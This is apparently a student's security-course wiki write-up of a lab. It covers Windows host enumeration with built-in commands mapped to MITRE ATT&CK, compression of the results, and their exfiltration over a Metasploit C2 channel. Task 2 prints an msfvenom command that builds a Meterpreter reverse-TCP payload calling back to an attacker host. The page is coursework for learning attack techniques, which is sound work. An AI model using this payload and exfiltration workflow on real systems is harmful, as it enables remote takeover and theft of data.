Week04 - Christopher-Lavalette/SEC-335 GitHub Wiki

SEC 335 - Week 4 - 09/19/2026

Task 1: Enumeration

Objective: Use LOLBins to enumerate host information. Save the output of each command to a separate file.

Find the native Windows command to run the commands below, some are likely from the LOLBins assignment. Run each command as the champuser account. Redirect output to files in C:\temp\ (create this folder if it doesn’t exist.). Save all the commands to a script (.bat or Powershell, your choice).

Enumeration Command Outputs:


PowerShell Script:

enumeration.ps1

README.txt


1. Current user, groups, and privileges

whoami /all

01-whoami.txt

2. Running processes

tasklist /v

02-tasklist.txt

3. Network connections and listening ports

netstat -ano

03-netstat.txt

4. Running services

Get-Service | Format-Table -AutoSize | Out-File "$Out\04-services.txt"

04-services.txt

5. Local user accounts

net user

05-users.txt

6. Local groups

net localgroup

06-groups.txt

7. Administrators group members

net localgroup Administrators

07-admins.txt

8. Network configuration

ipconfig /all

08-ipconfig.txt

9. Firewall configuration

netsh advfirewall show allprofiles

09-firewall.txt

10. ARP table

arp -a

10-arp.txt

11. SMB sessions

net session

11-smb-sessions.txt

12. System information

systeminfo

12-systeminfo.txt


PowerShell Script:

enumeration.ps1

README.txt


Additional LOLBin Enumeration Commands

1. query user

Command:

query user

user portion specifies that Windows should display information about user sessions.

Information gathered: Displays users currently logged onto the Windows system, including session names, session IDs, and session state.

Attacker value: An attacker can determine which users are currently active and potentially identify interesting or privileged sessions.

MITRE ATT&CK: T1033 - System Owner/User Discovery

2. wmic process get name,processid

Command:

wmic process get name,processid

process specifies that WMIC should query Windows processes.

get specifies that information should be retrieved rather than modified.

name,processid specifies the two properties to display: the process name and its process ID (PID).

Information gathered: Lists running processes and their process IDs.

Attacker value: An attacker can identify running applications, security software, and processes that may be useful for further activity.

MITRE ATT&CK: T1047 - Windows Management Instrumentation

3. net start

Command:

net start

start tells the net utility to display the Windows services that are currently running.

Information gathered: Lists currently running Windows services.

Attacker value: An attacker can identify services, security software, databases, and other applications running on the host.

MITRE ATT&CK: T1007 - System Service Discovery

4. ipconfig /displaydns

Command:

ipconfig /displaydns

/displaydns tells ipconfig to display the contents of the Windows DNS resolver cache.

Information gathered: Displays DNS information stored in the Windows DNS resolver cache.

Attacker value: The cache can reveal domains recently accessed by the system and provide information about applications and network infrastructure.

MITRE ATT&CK: T1016 - System Network Configuration Discovery

5. route print

Command:

route print

print tells the route utility to display the current IP routing table.

Information gathered: Displays the Windows routing table.

Attacker value: An attacker can identify reachable networks, gateways, and network interfaces to better understand the host's network position.

MITRE ATT&CK: T1016 - System Network Configuration Discovery

Advisory Sources:

Enumeration Outputs Compression

Below is 4 compression methods being used, along with a screenshot of the compression commands in action, with the compressed files being accessible through links below.

PowerShell ZIP

Compress-Archive
image

enumeration.zip


PowerShell TAR (GZIP)

powershell tar
image

In this instance

-c: Creates a new archive file.

-z: Compresses the archive using Gzip.

-f: Specifies the filename of the target archive

-a: NOT USED in this instance, but could be used replacing -z to make a typical ZIP file instead of GZIP.


enumeration.tar.gz


PowerShell 7ZIP

powershell Compress-7Zip
image

enumeration.7z


PowerShell Makecab

powershell makecab
image image

enumeration.cab                       config.ddf                       setup.inf                       setup.rpt


Task 2: Exfiltration via C2 Channel

Screenshot of the Kali VM listening for a connection with the Windows VM.

image

Command used on the Kali VM to create: "windows-payload.exe", which then needed to be downloaded on the Windows VM and opened.

bash

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.17.34 LPORT=5555 -f exe -o ~/windows-payload.exe

Screenshot of the Kali VM successfully establishing a connection with the Windows VM after "windows-payload.exe" was opened.

image

Screenshot showing the ability to interact with the session.

image

Screenshot showing successful downloads of each archive

image

Screenshot of the ls -la command on the Kali VM outside of the Metasploit terminal

image

Task 3: Decompression & Hash Verifications

Original Hash

image

ZIP Hash

image

7ZIP Hash

image

TAR (GZIP) Hash

image

CAB Hash

image image

Task 3: Video

All of the Requirements for Task 3 have been bundled into the one video listed below.


Watch the project demo on YouTube

(You may need to manually change the video resolution)

Link to Video


Task 3: Questions to Answer

Which archive format produced the smallest file?

The archive format that produced the smallest file was 7zip, with a length of 11,743 compared to the next smallest produced file, 12,269. This is not surprising to me, as 7Zip is a very commonly used compression format for its practicality and effectivness.

Which compression tool was easiest to use?

The easiest compression tool to use, for me, was the basic zip tool using the compress-archive command. The command was already preinstalled with Windows and is the most commonly used format, meaning it is very modular and accepted on practically any platform due to its position as the standard format.

Task 4: Video

All of the Requirements for Task 4 have been bundled into the one video listed below.


Watch SEC 355 Staging and Exfiltration Task 4 Lavalette

(You may need to manually change the video resolution)

Link to Video


⚠️ **GitHub.com Fallback** ⚠️